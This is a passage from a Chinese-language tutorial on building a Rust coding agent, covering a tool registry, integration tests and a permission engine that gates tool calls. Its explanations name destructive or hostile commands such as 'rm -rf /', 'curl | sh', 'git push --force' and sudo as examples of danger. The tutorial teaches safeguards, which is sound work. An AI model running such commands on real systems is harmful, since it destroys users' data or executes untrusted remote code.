test_grep_grep_regex:创建包含 foo123、bar456、baz789 的文件,用正则 \d{3}(三个数字)进行 grep,验证三行都匹配,确认支持真正的正则而非普通字符串匹配。
test_grep_grep_nonexistent_path:对不存在的路径进行 grep,验证结果是错误。
test_grep_grep_definition:验证工具定义的名称为 "grep"。
小结
本章添加了两个让 agent 能够发现和导航代码的搜索工具:
-
GlobTool 按名称模式查找文件。接收
**/*.rs这样的 glob,每行返回一个匹配路径。使用globcrate 进行模式匹配,未提供基础路径时默认当前目录。 -
GrepTool 按正则搜索文件内容。接收
fn main这样的模式,以path:line_no: content格式返回匹配结果。支持限定到文件或目录,以及通过include参数按文件类型过滤。两个辅助函数分工明确:search_file(异步,处理 I/O)和collect_files(同步,遍历目录树)。 -
两个工具都是只读的。 从不修改文件系统。在带安全标志的生产 agent 中,会被标记为只读且并发安全。
-
分开设计是刻意为之。 Glob 回答"有哪些文件",Grep 回答"内容在哪里"。两个目的明确的工具,比一个带模式切换的工具更易于 LLM 正确使用。
-
这些是扩展工具。 starter 不包含 GlobTool 或 GrepTool 的桩代码。如果你想添加,按照上面展示的模式从头创建文件,并在
src/tools/mod.rs中注册。
核心要点
搜索工具让 coding agent 从只能编辑已知文件,变成能够探索和理解陌生代码库。两工具分工(glob 负责名称,grep 负责内容)直接对应开发者导航代码时的两个问题:"有哪些文件?"和"这个东西在哪里?"保持分开,为 LLM 提供清晰、无歧义的接口来回答各自的问题。
有了搜索工具,agent 可以自主探索陌生的代码库。面对"找出并修复 parser 中的 bug"这样的 prompt,它可以 glob 源文件、grep parser 代码、读取相关文件,然后用第 9 章的 write 和 edit 工具进行修改。工具套件正在趋于完整。
自我检测
← 第 10 章:Bash 工具 · 目录 · 第 12 章:工具注册表 →
第 12 章:工具注册表
需要编辑的文件:
src/types.rs(ToolSet) 需要运行的测试:cargo test -p mini-claw-code-starter test_multi_tool_(集成测试) 预计时间: 30 分钟
五个工具,一个 SimpleAgent。本章把它们连起来。
目标
- 实现
default_tools()辅助函数,把所有工具装进一个ToolSet,让 agent 能按名称找到并分发它们。 - 把
ToolSet接入SimpleAgent,让 LLM 看到所有工具的 schema,agent 能把调用派发到正确的工具。 - 优雅处理未知工具调用,返回错误字符串让 LLM 自行恢复。
- 跑完整的集成测试套件,验证真实工具在 agent 循环里产生真实副作用。
前几章你逐一构建了让 agent 与外部世界交互的工具——文件读写(第 9 章)、命令执行(第 10 章)、可选的模式搜索(第 11 章)。每个工具实现了 Tool trait,有 JSON schema,返回 String。但它们各自孤立。agent 无法发现它们,无法把 schema 暴露给 LLM,也无法按名称派发调用。
工具注册表就是这座桥。它把所有可用工具统一存放在一个 ToolSet 里,把 schema 暴露给 LLM,再按名称把调用路由到正确的实现。本章结束后,你将拥有功能完整的编程 agent,能读文件、写文件、编辑文件、执行命令——完整的工具循环,用的是真实工具,不再是测试替身。
cargo test -p mini-claw-code-starter test_multi_tool_
模块布局
所有工具实现放在 src/tools/ 下,每个工具一个文件:
src/tools/
mod.rs -- 重新导出所有内容
ask.rs -- AskTool(额外功能)
bash.rs -- BashTool
edit.rs -- EditTool
read.rs -- ReadTool
write.rs -- WriteTool
mod.rs 是个扁平的桶文件(barrel file):
#![allow(unused)] fn main() { mod ask; mod bash; mod edit; mod read; mod write; pub use ask::*; pub use bash::BashTool; pub use edit::EditTool; pub use read::ReadTool; pub use write::WriteTool; }
每个工具是独立的文件,只有一个公开结构体。mod.rs 重新导出这些结构体,下游代码直接写 use crate::tools::{ReadTool, WriteTool},不用深入各子模块。
这种扁平结构是刻意的。不存在把 ReadTool、WriteTool、EditTool 归在一起的 tools/file/mod.rs。原因:工具总是被单独引用——注册的是 ReadTool::new(),不是 FileTools::all()。扁平结构让导入路径短,心智模型也更简单。5 个工具时这显然没问题。Claude Code 有 40 多个工具,依然用类似的扁平布局——每个工具是自己的模块,只有一个导出。
Rust 核心概念:trait 对象与动态分发
ToolSet 把工具存为 Box<dyn Tool>——一种抹去具体类型的 trait 对象。这样 ReadTool、WriteTool、EditTool、BashTool 尽管实现各异,通过指针后都成了同一种类型。HashMap<String, Box<dyn Tool>> 是背后的数据结构:把工具名称映射到 trait 对象,agent 在运行时就能按字符串名称查找任意工具。
这就是动态分发。agent 调用 tool.call(args) 时,编译器在编译期不知道该调哪个 call() 方法,而是通过 vtable——附在 trait 对象上的函数指针表——在运行时找到正确实现。代价是每次调用多一次指针间接寻址,与工具执行的 I/O 和网络操作相比,这点开销可以忽略不计。
构建 ToolSet
你在第 4 章定义的 ToolSet 是个带构建器 API 的 HashMap<String, Box<dyn Tool>>。现在正式用起来。下面是组装标准工具集的辅助函数:
#![allow(unused)] fn main() { fn default_tools() -> ToolSet { ToolSet::new() .with(ReadTool::new()) .with(WriteTool::new()) .with(EditTool::new()) .with(BashTool::new()) } }
四次 .with() 调用,每个工具一次。每次调用构造工具,从 ToolDefinition 里提取名称,插入内部 HashMap。构建器模式意味着顺序无关——工具按名称为键,不按位置。(AskTool 需要 InputHandler,需要用户输入时单独注册。)
构建完成后,ToolSet 支持 agent 所需的操作:
#![allow(unused)] fn main() { let tools = default_tools(); // 按名称查找工具(返回 Option<&dyn Tool>) let read = tools.get("read").unwrap(); // 获取 LLM 所需的所有 schema let defs: Vec<&ToolDefinition> = tools.definitions(); }
definitions() 是 SimpleAgent 在每轮循环开始时调用的方法,用来告诉 LLM 哪些工具可用。每个定义包含工具的名称、描述和参数的 JSON Schema。LLM 用这些信息决定何时调用哪个工具、怎么调。
get() 是 agent 在派发时调用的——LLM 说 "name": "read",agent 执行 tools.get("read"),用提供的参数调用返回工具的 .call() 方法。
工具分类(扩展概念)
工具不是生而平等的。starter 版本把 Tool trait 简化成只有 definition() 和 call()。但在生产级 agent 中,工具带有描述行为的元数据——是否只读、是否并发安全、是否具有破坏性。这些标志驱动权限引擎、计划模式和并发执行决策。
工具大致分三类:
只读工具:ReadTool(以及 GlobTool、GrepTool,如果加了的话)
这些工具只观察文件系统,不修改它。读文件、按 glob 列路径、用正则搜索内容——都没有副作用,可以并行运行,也可以在只读计划模式下安全运行。
写工具:WriteTool、EditTool
写入和编辑会修改文件,不是只读的。两次写入同一文件会产生竞争,所以不是并发安全的。但文件写入是可恢复的(git 可以回退),算不上破坏性操作。
破坏性工具:BashTool
BashTool 是最危险的。它能运行任意 shell 命令——rm -rf /、git push --force、curl | sh。生产级 agent 会把它标记为破坏性,需要用户明确批准。
为什么分类重要
在生产级 agent 中,分类组合成权限层次:
| 分类 | 计划模式 | 自动批准 | 默认模式 |
|---|---|---|---|
| 只读 | 允许 | 允许 | 允许 |
| 写入 | 拒绝 | 允许 | 询问用户 |
| 破坏性 | 拒绝 | 询问用户 | 询问用户 |
starter 还没有实现这些分类——那是后续章节的扩展内容。目前 SimpleAgent 对 LLM 请求的每个工具调用都无条件执行。
工具分发流程
从 LLM 请求工具到结果返回的完整流程:
flowchart TD
A["LLM responds with<br/>StopReason::ToolUse"] --> B["For each ToolCall"]
B --> C{"tools.get(name)?"}
C -->|Some| D["tool.call(args)"]
C -->|None| E["Return error:<br/>unknown tool"]
D --> F["Push ToolResult<br/>into message history"]
E --> F
F --> G["Call provider.chat()<br/>with updated history"]
G --> H{"StopReason?"}
H -->|ToolUse| B
H -->|Stop| I["Return final text"]
将工具接入 SimpleAgent
前几章的 SimpleAgent 通过构建器 API 接收工具,可以逐个添加:
#![allow(unused)] fn main() { let agent = SimpleAgent::new(provider) .tool(ReadTool::new()) .tool(WriteTool::new()) .tool(EditTool::new()) .tool(BashTool::new()); }
.tool() 方法内部调用 self.tools.push(t),从工具定义中提取名称并插入 HashMap。
构建完成后,agent 接管整个派发流程。LLM 以 StopReason::ToolUse 响应并带上一组 ToolCall 时,agent 会:
- 在
ToolSet中按名称查找每个工具 - 调用
call()执行工具 - 把结果打包成
Message::ToolResult追加到对话中
如果 LLM 请求注册表里不存在的工具,agent 返回 "error: unknown tool \foo`"`。模型看到错误后可以调整。
集成:写入、读取、响应
test_multi_tool_write_and_read_flow 测试演示了使用真实工具的完整三轮交互。逐步追踪一下。
测试创建临时目录,为 MockProvider 预设三个响应:
#![allow(unused)] fn main() { let dir = tempfile::tempdir().unwrap(); let path = dir.path().join("test.txt"); let path_str = path.to_str().unwrap().to_string(); let provider = MockProvider::new(VecDeque::from([ // 第 1 轮:写入文件 AssistantTurn { text: None, tool_calls: vec![ToolCall { id: "c1".into(), name: "write".into(), arguments: json!({ "path": path_str, "content": "hello from agent" }), }], stop_reason: StopReason::ToolUse, usage: None, }, // 第 2 轮:读回文件 AssistantTurn { text: None, tool_calls: vec![ToolCall { id: "c2".into(), name: "read".into(), arguments: json!({ "path": path_str }), }], stop_reason: StopReason::ToolUse, usage: None, }, // 第 3 轮:最终回答 AssistantTurn { text: Some("Done! I wrote and read the file.".into()), tool_calls: vec![], stop_reason: StopReason::Stop, usage: None, }, ])); }
agent 只注册需要的工具:
#![allow(unused)] fn main() { let agent = SimpleAgent::new(provider) .tool(ReadTool::new()) .tool(WriteTool::new()); }
循环追踪:
第 1 轮——写入。 agent 调用 provider.chat(),收到 StopReason::ToolUse 加上 write 工具调用。在 ToolSet 里查找 "write",找到 WriteTool,用 {"path": "/tmp/.../test.txt", "content": "hello from agent"} 调用它。WriteTool 在磁盘上创建文件。agent 把 Message::Assistant(turn) 和 Message::ToolResult 追加到对话历史。
第 1 轮后的消息历史:
[User] "write and read a file"
[Assistant] tool_calls: [write(path, content)]
[ToolResult] "wrote /tmp/.../test.txt"
第 2 轮——读取。 agent 带着更新后的历史再次调用 provider.chat()。mock 返回 read 工具调用。agent 查找 "read",用 {"path": "/tmp/.../test.txt"} 调用 ReadTool。ReadTool 读取上一轮 WriteTool 创建的文件,返回内容。
第 2 轮后的消息历史:
[User] "write and read a file"
[Assistant] tool_calls: [write(path, content)]
[ToolResult] "wrote /tmp/.../test.txt"
[Assistant] tool_calls: [read(path)]
[ToolResult] "hello from agent"
第 3 轮——最终回答。 agent 再次调用 provider.chat()。mock 返回 StopReason::Stop 加上文本。agent 追加最终的 assistant 消息,把文本返回给调用方。
测试验证两件事:返回文本包含 "Done!",文件确实在磁盘上存在且内容正确。这证实了真实工具在 agent 循环里产生了真实副作用。
#![allow(unused)] fn main() { let result = agent.run("write and read a file").await.unwrap(); assert!(result.contains("Done!")); assert_eq!( std::fs::read_to_string(&path).unwrap(), "hello from agent" ); }
错误恢复:幻觉工具
test_simple_agent_unknown_tool 测试演示 LLM 请求不存在的工具时会发生什么。这不是假设——模型经常凭空编造工具名称,小模型或工具列表较长时尤其如此。
mock provider 预设了两个响应:
#![allow(unused)] fn main() { let provider = MockProvider::new(VecDeque::from([ // LLM 产生了工具幻觉 AssistantTurn { text: None, tool_calls: vec![ToolCall { id: "c1".into(), name: "imaginary_tool".into(), arguments: json!({}), }], stop_reason: StopReason::ToolUse, usage: None, }, // LLM 看到错误后恢复 AssistantTurn { text: Some("Sorry, that tool doesn't exist.".into()), tool_calls: vec![], stop_reason: StopReason::Stop, usage: None, }, ])); let agent = SimpleAgent::new(provider).tool(ReadTool::new()); let result = agent.run("do something").await.unwrap(); assert!(result.contains("doesn't exist")); }
发生了什么:
第 1 轮。 LLM 要求调用 "imaginary_tool"。agent 执行 tools.get("imaginary_tool"),得到 None,返回 "error: unknown tool \imaginary_tool`"。这条错误消息作为 Message::ToolResult` 推入对话。循环继续。
第 2 轮。 LLM 在对话历史里看到错误,生成一个承认错误的文本响应。agent 正常返回。
agent 没有崩溃,没有 panic,没有返回 Err。它把未知工具当作可恢复错误,让模型自行调整。这是生产级 agent 的正确行为。模型会出错,agent 得能扛住。
同样的模式也适用于其他失败场景:工具返回执行错误,或工具遭遇 I/O 失败。每种情况下,模型都会看到描述性错误消息,可以调整策略。
Claude Code 是如何做的
Claude Code 的工具注册表规模大得多,但架构相同。
规模。 Claude Code 注册了 40 多个工具,覆盖文件操作、git、浏览器、notebooks、MCP(Model Context Protocol)等。每个工具有权限元数据、成本提示和丰富的终端渲染。我们的五个工具(四个核心工具加 AskTool)覆盖了基本能力——协议相同,范围更小。
动态注册。 我们的 ToolSet 在启动时构建,之后不变。Claude Code 的注册表是动态的——用户配置 MCP 服务器时,MCP 工具在运行时被发现并注册。工具可以在会话中途出现或消失。你在第 4 章构建的 ToolSet::push() 支持这种模式,只是我们还没用到。
工具分组。 Claude Code 把工具组织成权限组。文件工具、git 工具、shell 工具各有组级别的允许/拒绝规则。我们的扁平 ToolSet 更简单——权限引擎实现后会按工具元数据逐一检查。
使用统计。 Claude Code 追踪每个工具的调用频率、每次调用耗时、每次结果消耗的 token 数。这些数据输入 TUI 状态显示,辅助成本估算。本书不涉及使用统计,不过第 4 章的 TokenUsage 类型提供了消息级别的起点。
差异归根结底,核心协议完全一样:LLM 看到工具 schema 列表,选择一个调用,agent 按名称查找工具、执行、把结果返回。权限、分组、统计、动态注册——都是围绕这次查找的编排。
测试
运行集成测试:
cargo test -p mini-claw-code-starter test_multi_tool_
主要测试:
- test_multi_tool_write_and_read_flow — agent 写入文件后读回,验证文件在磁盘上存在且内容正确。
- test_multi_tool_edit_flow — agent 用字符串替换编辑现有文件,读回结果。
- test_multi_tool_bash_then_report — agent 运行 shell 命令并报告输出。
- test_multi_tool_write_edit_read_flow — 完整流程:写入、编辑、读回。确认工具链正确衔接。
- test_multi_tool_all_four_tools — agent 在单次会话中使用 bash、write、edit、read,覆盖完整工具集。
- test_multi_tool_multiple_writes — agent 依次写入两个独立文件。
- test_multi_tool_read_multiple_files — agent 在单轮中并行读取两个文件。
- test_multi_tool_five_step_conversation — 五步流程(bash、write、read、edit、read),验证长多工具会话。
- test_multi_tool_chat_basic — 验证
chat()方法处理简单纯文本响应。 - test_multi_tool_chat_with_tool_call — 验证
chat()的工具派发和消息历史增长。 - test_multi_tool_chat_multi_turn — 用
chat()进行两轮对话,消息历史持续累积。
关键要点
工具注册表本质上是一次 HashMap 查找:LLM 给出工具名称,agent 找到对应实现,调用它。名称派发加 trait 对象这层间接——让你能在不改动 agent 循环的情况下增删工具。
本章回顾
第二部分完成。四章下来,你构建了基本编程 agent 所需的全套工具:
- ReadTool 带行号、偏移量和限制地读取文件。
- WriteTool 创建和覆写文件,按需创建父目录。
- EditTool 在现有文件里精确执行字符串替换。
- BashTool 执行 shell 命令,支持超时和退出码报告。
- GlobTool 在目录树中按模式查找文件。
- GrepTool 用正则表达式搜索文件内容,支持上下文行。
本章通过 ToolSet 注册表把它们全部串联,接入 SimpleAgent。agent 现在可以接收用户提示,带上所有工具 schema 发给 LLM,执行模型请求的任意工具,循环直到模型给出最终答案。一个可运行的编程 agent,就此完成。
但能运行不等于安全。目前引擎对 LLM 请求的每个工具调用都无条件执行。模型说 bash("rm -rf /"),引擎就跑。模型用垃圾覆盖源文件,引擎就写。没有护栏,没有确认提示,没有安全检查。工具标志(is_read_only、is_destructive)存在,但没有任何东西来执行它们。
下一步
第三部分——安全与控制——给可运行的 agent 加上护栏,让它变得可信:
- 第 13 章:权限引擎 — 在执行前检查每个工具调用的系统。评估权限规则,遵守权限模式,必要时向用户询问。
- 第 14 章:安全检查 — 对工具参数的静态分析。在权限提示出现之前捕获危险模式(
rm -rf、git push --force)。 - 第 15 章:Hook 系统 — 在工具执行前后运行 shell 命令的 pre-tool / post-tool hook。让用户强制执行自定义策略(编辑后运行 linter,阻止特定路径)。
- 第 16 章:计划模式 — 只有只读工具能运行的受限执行模式。agent 可以分析和规划,但不能修改。
is_read_only()在这里最终得到执行。
第二部分构建的工具是 agent 的双手。第三部分教它何时动手——以及何时该收手。
自我检测
← 第 11 章:搜索工具 · 目录 · 第 13 章:权限引擎 →
第 13 章:权限引擎
需要编辑的文件:
src/permissions.rs需要运行的测试:cargo test -p mini-claw-code-starter permissions预计时间: 40 分钟
你的 agent 会执行 LLM 告诉它的任何事情。
想一想这句话。第 1 至 12 章你构建了功能完整的编程 agent,多种工具齐备。LLM 可以读文件、写文件、编辑文件、执行任意 shell 命令。SimpleAgent 忠实派发模型请求的每个工具调用。模型说 bash("rm -rf /"),agent 就跑。模型用垃圾覆盖你的源文件,agent 就写。模型想从网上 curl | sh 点什么,agent 就 curl。LLM 的请求和工具的执行之间,什么都没有。
这对教程来说无所谓。对真实代码库上运行的软件,则不行。
第 13 章来改变这一点。我们构建 PermissionEngine——每次工具调用执行前的守门人。它夹在 SimpleAgent 和工具之间,对每次调用给出三种答案之一:静默允许、拒绝,或向用户请求批准。决定取决于配置的规则、默认权限,以及用户在本次会话中是否已批准过该工具。
这是第三部分"安全与控制"的第一章。本章结束后,agent 不再盲目服从 LLM,会先请示权限。
cargo test -p mini-claw-code-starter permissions
目标
- 用
glob::Pattern实现PermissionRule::matches(),让规则能用通配符匹配工具名称(如"mcp__*"匹配所有 MCP 工具)。 - 构建带三阶段评估流程的
PermissionEngine:会话批准、有序规则、默认权限。 - 为常用配置提供便捷构造函数(
ask_by_default、allow_all)。 - 记录会话批准,用户一旦批准某个工具,本次会话剩余时间内持续有效。
问题:信任的光谱
不是每次工具调用的风险都一样。读文件无害。写文件可恢复(git 能回退)。运行 rm -rf / 是灾难。好的权限系统应该区别对待。
同时,不同用户想要的控制力度也不同。有人想批准每个操作,有人只想批准危险操作,有人在跑自动化流程、根本不要提示,还有人处于计划模式,agent 只能观察,不能修改。
两个维度:
- 工具风险级别 — 这个工具有多危险?
- 用户信任级别 — 用户想要多少控制?(权限规则和默认权限。)
权限引擎把两个维度合并成一个决策。规则用 glob 模式匹配工具名称,没有规则匹配时用默认权限兜底。这样用户就能精细控制哪些工具需要批准。
权限类型
权限系统在 src/permissions.rs 里引入了几个新类型,逐一过一遍。
Permission:决策
#![allow(unused)] fn main() { #[derive(Debug, Clone, PartialEq)] pub enum Permission { /// Tool call is allowed without asking. Allow, /// Tool call is blocked without asking. Deny, /// User must be prompted for approval. Ask, } }
三个变体,对应每种可能结果。Allow 表示立即执行——无提示,无延迟。Deny 表示完全阻止——工具不会运行。Ask 表示暂停,向用户显示提示。
starter 里 Deny 和 Ask 是没有字符串载荷的单元变体。工具调用被拒绝或需要批准时,由调用方负责向用户或模型提供上下文。
PermissionRule:匹配工具名称
#![allow(unused)] fn main() { #[derive(Debug, Clone)] pub struct PermissionRule { /// Glob pattern matching tool names (e.g. "bash", "write", "*"). pub tool_pattern: String, /// The permission to assign when the pattern matches. pub permission: Permission, } }
规则让用户给特定工具分配权限。PermissionRule 用 glob 模式(glob::Pattern crate)匹配工具名称,分配权限:始终允许、始终拒绝或始终询问。
比如,你可以加一条规则无需提示就允许 write——因为你在这个项目里信任模型写文件。或者加一条完全拒绝 bash 的规则——这是以读取为主的分析任务,不想有任何命令执行。
matches() 方法用 glob::Pattern 匹配:
#![allow(unused)] fn main() { impl PermissionRule { pub fn new(tool_pattern: impl Into<String>, permission: Permission) -> Self { Self { tool_pattern: tool_pattern.into(), permission, } } /// Check if this rule matches a tool name. /// Uses glob::Pattern for pattern matching, falling back to /// exact string comparison if the pattern is invalid. pub fn matches(&self, tool_name: &str) -> bool { // Your implementation: use glob::Pattern::new(&self.tool_pattern) unimplemented!() } } }
规则优先于默认权限。关键的设计原则:具体的覆盖比通用策略更优先。
PermissionEngine
类型定义好之后,构建引擎本身。打开 src/permissions.rs:
#![allow(unused)] fn main() { pub struct PermissionEngine { rules: Vec<PermissionRule>, default_permission: Permission, /// Session-level overrides (tool calls the user has already approved). session_allows: std::collections::HashSet<String>, } }
三个字段:
rules— 有序的权限规则列表。第一个匹配的规则获胜。default_permission— 没有规则匹配时的兜底权限。交互场景通常是Permission::Ask,旁路模式是Permission::Allow。session_allows— 用户在本次会话中已批准的工具名称集合。
构造函数提供常见配置:
#![allow(unused)] fn main() { impl PermissionEngine { pub fn new(rules: Vec<PermissionRule>, default_permission: Permission) -> Self { // Your implementation: store rules, default_permission, and empty session_allows HashSet unimplemented!() } /// Create an engine that asks for everything by default. pub fn ask_by_default(rules: Vec<PermissionRule>) -> Self { Self::new(rules, Permission::Ask) } /// Create an engine that allows everything (no permission checks). pub fn allow_all() -> Self { Self::new(vec![], Permission::Allow) } } }
ask_by_default() 是标准交互配置——没有规则覆盖的工具都提示用户。allow_all() 是旁路模式——没有规则,没有提示。会话批准从空开始,随着用户与 agent 交互逐渐积累。
评估流程
引擎核心是 evaluate 方法。接收工具名称和参数,返回 Permission。三个阶段按顺序执行,第一个给出明确答案的阶段获胜。
flowchart TD
A["evaluate(tool_name, args)"] --> B{"tool_name in<br/>session_allows?"}
B -->|Yes| C["Return Allow"]
B -->|No| D{"Any rule<br/>matches?"}
D -->|Yes| E["Return rule.permission"]
D -->|No| F["Return default_permission"]
#![allow(unused)] fn main() { pub fn evaluate(&self, tool_name: &str, _args: &Value) -> Permission { // Stage 1: session approvals if self.session_allows.contains(tool_name) { return Permission::Allow; } // Stage 2: rules in order (first match wins) for rule in &self.rules { if rule.matches(tool_name) { return rule.permission.clone(); } } // Stage 3: default self.default_permission.clone() } }
逐阶段过一遍。
第一阶段:会话批准
#![allow(unused)] fn main() { if self.session_allows.contains(tool_name) { return Permission::Allow; } }
用户在当前会话中已批准过的工具,直接允许。会话批准在用户对 Ask 提示回答"是"时记录。一旦批准,该工具在本次会话剩余时间内无需再提示。
会话批准是按工具的,不是全局的。批准 write 不会批准 bash。这是有意为之——用户应该为每个信任的工具单独做决定。
第二阶段:权限规则
#![allow(unused)] fn main() { for rule in &self.rules { if rule.matches(tool_name) { return rule.permission.clone(); } } }
没有会话批准匹配,检查配置的规则。规则按顺序评估——第一条 matches() 返回 true 的规则获胜。
关键设计选择:第一个匹配的规则获胜。如果有两条规则:
1. bash -> Deny
2. * -> Allow
bash 命中规则 1 被拒绝;其他所有工具命中规则 2 被允许。顺序反过来,规则 2 先匹配一切,规则 1 永远不会触发。
matches() 用 glob::Pattern 匹配,比简单字符串比较表达力更强。"bash" 只匹配 "bash";"*" 匹配一切;"file_*" 匹配 "file_read"、"file_write" 等。
第三阶段:默认权限
#![allow(unused)] fn main() { self.default_permission.clone() }
没有会话批准匹配,也没有规则匹配,回退到构建时设置的默认权限。ask_by_default() 是 Permission::Ask,allow_all() 是 Permission::Allow。
Rust 核心概念:glob::Pattern crate
glob crate 提供文件系统风格的模式匹配。glob::Pattern::new("mcp__*") 编译一个模式,.matches("mcp__fs__read") 拿它测试字符串。主要操作符:*(匹配任意字符序列)、?(匹配任意单个字符)、[abc](匹配集合中任意字符)。与正则表达式不同,glob 模式故意简单——匹配整个字符串而非子字符串,没有回溯。快,且对工具名称匹配来说直观。
Pattern::new() 返回 Result,因为模式字符串可能语法无效(如未闭合的括号)。回退到精确字符串比较处理这种边缘情况。
用 glob 做模式匹配
PermissionRule::matches() 用 glob crate 匹配:
#![allow(unused)] fn main() { pub fn matches(&self, tool_name: &str) -> bool { glob::Pattern::new(&self.tool_pattern) .map(|p| p.matches(tool_name)) .unwrap_or(self.tool_pattern == tool_name) } }
两种情况:
- 有效的 glob 模式 —
glob::Pattern::new()成功,用 glob 语义匹配工具名称:"*"匹配一切,"file_*"匹配"file_read"、"file_write"等,"bash"只匹配"bash"。 - 无效的 glob — 回退到精确字符串比较。这是安全网——实际使用中工具名称模式很简单,基本总是有效的。
用 glob::Pattern 而非手写匹配,获得完整的 glob 语义——字符类([abc])、备选和正确的通配符处理——无需自定义代码。
会话批准
evaluate 返回 Permission::Ask 时,调用方(通常是 SimpleAgent 或 UI 层)提示用户。用户同意,调用方记录批准:
#![allow(unused)] fn main() { pub fn record_session_allow(&mut self, tool_name: &str) { self.session_allows.insert(tool_name.to_string()); } }
后续对同一工具的 evaluate 调用会在 session_allows 集合(第一阶段)里找到它,直接返回 Permission::Allow,不再提示。
引擎还提供了几个检查结果的便捷方法:
#![allow(unused)] fn main() { pub fn is_allowed(&self, tool_name: &str, args: &Value) -> bool { matches!(self.evaluate(tool_name, args), Permission::Allow) } pub fn needs_approval(&self, tool_name: &str, args: &Value) -> bool { matches!(self.evaluate(tool_name, args), Permission::Ask) } }
会话批准有三个值得强调的特性:
- 按工具,不是全局的。 批准
write不批准bash。每个工具是独立的信任决策。 - 会话范围,不持久化。 批准存在内存里,进程退出就消失。没有文件,没有数据库。重启 agent,重新开始。
- 优先级高于规则。 starter 里会话批准先检查(第一阶段),所以批准覆盖任何规则。这是有意的简化——用户说"是"之后,无论规则如何,该工具在本次会话中都被批准了。
综合起来:完整追踪
追踪一个实际场景,看看流程端到端怎么工作。
用户用 ask_by_default 启动 agent,设置一条规则:write 始终允许。
#![allow(unused)] fn main() { let engine = PermissionEngine::ask_by_default(vec![ PermissionRule::new("write", Permission::Allow), ]); }
LLM 依次发起三次工具调用:
调用 1:read("src/main.rs")
第一阶段:"read" 不在 session_allows 中。-> 继续
第二阶段:规则 "write" 不匹配 "read"。没有更多规则。-> 继续
第三阶段:默认权限是 Ask。-> Ask
结果:Ask。UI 提示用户。(注意:starter 里工具上没有 is_read_only() 标志,读取工具走的和其他工具一样的流程。)
调用 2:write("src/main.rs", ...)
第一阶段:"write" 不在 session_allows 中。-> 继续
第二阶段:规则 "write" 匹配 "write"。权限:Allow。-> Allow
结果:Allow。写入静默执行——规则覆盖了默认权限本会做的事(询问用户)。
调用 3:bash("cargo test")
第一阶段:"bash" 不在 session_allows 中。-> 继续
第二阶段:规则 "write" 不匹配 "bash"。没有更多规则。-> 继续
第三阶段:默认权限是 Ask。-> Ask
结果:Ask。UI 提示用户。用户批准后,调用方调用 engine.record_session_allow("bash"),后续 bash 调用会在第一阶段直接允许。
引擎如何与 SimpleAgent 集成
PermissionEngine 设计为从 SimpleAgent 的工具执行流程内部调用。集成点在概念上很简单:
对于 LLM 的每次工具调用:
1. 在 ToolSet 中查找工具
2. 调用 permission_engine.evaluate(tool_name, args)
3. 根据 Permission 匹配:
- Allow -> 执行工具
- Deny -> 向 LLM 返回错误字符串
- Ask -> 提示用户,然后执行或拒绝
完整接入留到后续章节。目前 PermissionEngine 是独立组件,接口干净:给它工具名称和参数,得到一个决策。这种分离让它可以独立测试——第 10 章的测试正是这样做的。
Claude Code 是如何做的
Claude Code 的权限系统架构相同,粒度更细。
权限模式。 Claude Code 有相同的核心模式——默认交互模式、自动批准模式、计划模式。模式通过 CLI 标志(--dangerously-skip-permissions 旁路,--plan 计划模式)或会话中交互式设置。
工具分组。 Claude Code 不用单个工具标志,而是把工具组织成权限组。文件工具、git 工具、shell 工具、MCP 工具各有组级别策略。一条规则可以允许或拒绝整个组。我们基于 glob 的模式用 "file_*" 这样的写法实现类似效果。
按路径规则。 Claude Code 的规则不只匹配工具名称,还能匹配工具参数——特别是文件路径。"允许写入 src/**"这样的规则允许源目录内的写入,阻止其他位置。我们的规则只匹配工具名称,更简单但精度较低。
会话批准。 Claude Code 的会话批准机制相同——用户批准一个工具后,本次会话持续有效。批准按工具名称存在内存里,会话重置时清除。
分层评估。 评估流程相同:检查会话批准,匹配规则,回退默认值。排序确保具体策略覆盖通用策略,与我们的实现一样。
两个系统的核心洞见相同:权限引擎是从 (rules, session_state, default_permission) 到 Permission 的函数。不执行工具,不修改状态(会话批准除外),只回答一个问题:这次工具调用该继续吗?
测试
运行权限引擎测试:
cargo test -p mini-claw-code-starter permissions
主要测试:
- test_permissions_allow_all —
allow_all()对每个工具返回Allow,确认旁路模式正常。 - test_permissions_ask_by_default — 没有规则的
ask_by_default()对任何工具返回Ask。 - test_permissions_rule_matching — 针对
read、bash、write的三条明确规则各返回对应权限。 - test_permissions_glob_pattern — glob 规则
"mcp__*"匹配"mcp__fs__read"但不匹配"read"。 - test_permissions_first_rule_wins — 针对
"bash"的两条规则(Allow 再 Deny),第一个匹配获胜,返回 Allow。 - test_permissions_session_allow —
record_session_allow("bash")之后,之前返回 Ask 的工具现在返回 Allow。 - test_permissions_session_allow_per_tool — 批准
"read"不会批准"write"——会话批准是按工具的。 - test_permissions_is_allowed / test_permissions_needs_approval — 便捷方法正确反映底层
evaluate()的结果。 - test_permissions_wildcard_rule —
"*"规则覆盖所有工具的默认权限。 - test_permissions_deny_overrides_default — 针对
"dangerous"的 Deny 规则即使在默认为 Allow 时也阻止它。
关键要点
权限引擎是从 (tool_name, rules, session_state, default) 到 Permission 的纯函数。不执行工具,不与用户交互,只回答"该继续吗?"这种分离让它易于测试,也可以在不同 UI 上下文中复用。
本章回顾
本章构建了 PermissionEngine——LLM 请求与工具之间的守门人。关键思想:
- 三种结果 —
Allow、Deny、Ask。每次工具调用在运行前得到其中一种。 - 有序流程 — 会话批准优先,然后规则,然后默认权限。具体策略优于通用策略。
- Glob 模式规则 — 规则用
glob::Pattern匹配工具名称。第一个匹配的规则获胜,给用户精细控制哪些工具需要批准。 - 会话批准 — 用户说"是",该工具本次会话获批。按工具,在内存,不持久化。
- 便捷构造函数 — 交互场景用
ask_by_default(),旁路模式用allow_all()。
引擎是纯逻辑——不执行工具,不与用户交互,接受工具名称和参数,返回决策。可测试,可组合,易于推理。
下一步
权限引擎根据工具是什么和用户处于什么模式决定调用是否运行。但它不看工具被要求做什么。bash 工具不管跑 ls 还是 rm -rf / 都是 bash 工具;write 工具不管目标是 src/main.rs 还是 .env 都是 write 工具。
第 14 章加入安全检查——对工具参数的静态分析,在权限提示出现之前捕获危险模式。它根据允许目录校验路径,把文件名与受保护模式(.env、.git/config)对比,过滤 bash 命令中的危险模式(rm -rf /、sudo、fork bomb)。安全检查包装工具,让危险调用在执行前就被阻止。
自我检测
← 第 12 章:工具注册表 · 目录 · 第 14 章:安全检查 →
第 14 章:安全检查
需要编辑的文件:
src/safety.rs运行测试:cargo test -p mini-claw-code-starter safety预计用时: 40 分钟
